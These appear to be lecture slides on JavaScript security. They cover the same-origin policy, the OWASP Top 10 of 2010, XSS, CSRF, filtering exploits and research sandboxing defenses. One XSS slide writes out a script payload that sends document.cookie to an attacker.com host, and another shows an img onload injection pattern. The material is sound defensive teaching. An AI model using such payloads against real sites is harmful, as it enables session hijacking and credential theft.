JavaScript Security

Christian Hammer
25th March, 2010

Why does it matter?

- Web 2.0 more interactive (more scripts)
- pages are mashups from different sources
- ads are integrated into main page using unknown (=untrusted) scripts
- user-created programs (e.g. Facebook apps)
- injected scripts allows XSS and CSRF attacks

JS and Security

- Very dynamic scripting language
- executed at *client*
- has access to all data stored at client
- can send data to servers (confidentiality?)
- can change all data at client (integrity?)

Example Ad Attacks

- scareware (e.g. http://www.nytimes.com/2009/09/15/technology/internet/15adco.html?_r=3) posed as a legitimate advertiser, then switched to distributing a fake virus warnings.
- malware (e.g. http://www.h-online.com/security/features/Tracking-down-malware-949079.html) through automatic testing of installed plugins for vulnerabilities

Traditional JS Security

- Sandboxing:
  - no file system access
  - no system calls
- no windows smaller than 100×100 px
- no access to browser history
- no unconditional browser window close

Same Origin Policy

- isolation of documents

  only the site that stores some information in the browser may later read or modify that information

➡ a document downloaded from one source cannot be changed by a script from another origin

- same protocol, host, port
- exception: permitted to set one's domain to a suffix of current domain

Cookies and SOP

- Cookies are partitioned according to page origin
- can only be read/written by same origin
- however: frames/inlined frames may have different origin
- many browsers offer third party cookie blocking

OWASP Top10

- Open Web Application Security Project
- Top 10 application security risks 2010

A1 - Injection

- untrusted data is sent to an interpreter as part of a command or query
- trick the interpreter into exeuting unintended commands
- modification, altering, or deletion of sensitive data
- examples: SQL, OS, LDAP

A2 - Cross Site Scripting (XSS)

- untrusted data is sent to a web browser without proper validation/escaping
- execute the script in the browser of the victim
- hijack user sessions, deface web sites, redirect the user to malicious sites

A3 - Broken Authentication and Session Management

- Incorrect implementation
- attackers may compromise passwords, keys, session tokens, exploit implementation flaws to assume other user's identity

A4 - Insecure Direct Object References

- Exposure of a reference to an internal implementation object, s.a. file, directory, or database key w/o access control
- manipulate these references to access unauthorized data

A5 - Cross Site Request Forgery (CSRF)

- send a forged HTTP request from a logged-in victim's browser (incl. victim's session cookie and other credentials)
- vulnerable web application thinks these requests are legitimate

A6 - Security Misconfiguration

- secure configuration depends on the application, framework, web server, application server, and platform
- many are not shipped with defaults appropriate for security
- must be defined, implemented and maintained

A7 - Failure to restrict URL access

- Access control usually before rendering links to restricted data
- often when the URL is exposed it can be accessed without any further access control
- circulating links/bookmarks are unprotected

A8 - Unvalidated Redirects and Forwards

- redirects and forwards use untrusted data to determine destination page
- forgery of URLs to phishing or malware sites
- forwards to access unauthorized sites

A9 - Insecure Cryptographic Storage

- sensitive data like SSN, credit card data is not protected by encryption/hashing
- allows identity theft, credit card fraud, etc.

A10 - Insufficient Transport Layer Protection

- failure to encrypt network traffic to protect sensitive communication
- weak algorithms, expired or invalid certificates
- incorrect usage

Injection/XSS

- Attacker sends simple text-based attacks that exploit the syntax of the JS interpreter
- Almost any source of data can be injection vector, including internal sources (stored XSS)
- The injection flaw occurs when the untrusted data is sent to the victim's browser

XSS

- application includes user supplied data in a page sent to the browser without properly validating or escaping that content
- attacker enters <script>document.location.href= 'http://www.attacker.com/cgi-bin/cookie.cgi?'+document.cookie</script>
- input may be form data, (unprotected) file system resources, DB, cookie value, etc

XSRF

- create forged HTTP requests, automatically using the user's credentials if authenticated
- XSS or other techniques to send the request
- attackers predict the details of a transaction of a certain web application
- may do everything the user is entitled to do

Other JS attacks

- inclusion of code from “trusted source”
- ads, user programs (apps), OS widgets
- browsers offers no sandboxing of the original against external code
- only global namespace => everything is accessible and alterable by external code

Proposed Solutions

- escape all untrusted input

  e.g. <script> will become <script>
- rewriting (e.g. FBJS, Yahoo! AdSafe.org, Google Caja http://google-caja.googlecode.com/files/caja-2007.pdf)
- prone to obfuscation due to browser's parser peculiarities and leniency

Filtering Exploits

- MySpace (Samy worm)
- Yamanner (Malicious yahooligans)
  filtering *introduced* a malicious script
  ```
  <img src='http://us.i1.yimg.com/...' target=""onload="// malicious javascript here //">
  ```
  becomes
  ```
  <img src='http://us.i1.yimg.com/...' onload="// malicious javascript here //">
  ```
- Facebook exploit (FBJS and Security)
- more to come?

Scientific Solutions

- Most based on filtering (as well)
- using browser's parser introduces browser and/or version dependence
- independent parser will miss code
- scripts may be created at runtime (document.write, etc.)

Design Principles

- *Complete Interposition*: All scripts must be protected by the security mechanism. (even scripts created by scripts)
- *Tamper-proof*: Scripts must not be able to circumvent the security mechanism or tamper with it in unintended ways

➡ Soundness

Design Principles (cont.)

- *Transparency:* The web page should not be able to detect any changes in behavior due to the security mechanism as long as it adheres to the policy
- *Flexibility*: Separation of security mechanism and the security policies.

BrowserShield

- rewrite pages along with their scripts into safe counterparts
- inserts runtime checks even for dynamically generated scripts
- prevents known IE vulnerabilities only
- close gap between patch release and installation
- only 70 of 250 samples parsed correctly

Leightweigh self-protecting JavaScript

- ideas from Aspect-oriented programming
- circumvents parser mismatches
- wrap native functions and only execute original if policy is abided
- unique reference property may be circumvented by (i)frames or deleting of native functions (restores original!)

Detecting Malicious JavaScript Code in Mozilla

- direct browser integration
- monitoring is written to disk (I/O cost!)
- can be compared to high level security policy
- only post-mortem analysis

Browser-Enforced Embedded Policies

- Policy embedded in web page as JavaScript
- propose white- and blacklisting
- assumes web page designer to have perfect knowledge about allowed scripts
  (→whitelisting using a native sha function)
- DOM sandboxing: marking a div as untrusted suppresses all JS in this DOM subtree

Gatekeeper

- mostly-static analysis for two subset of JS
- JS_SAFE is statically analyzable (no eval etc.)
- JS_GK adds dynamic checks for essential constructs of OS widgets (based on usage)
- 22% are neither and rejected
- only smallish code base (around 200 LOC)

Staged Information flow for JS

- known code at own server is pre-analyzed
- residual policy must be checked at client
- assumes dynamically created field names to not coincide with statically known ones (easy to circumvent)
- does not support full JS (with, call, apply)

Summary

- Security for JavaScript is an issue
- Filtering does not solve the problem
- currently no silver bullet
- software engineering standards required to prevent XSS and CSRF
- browser-integrated sandboxing for external code seems most promising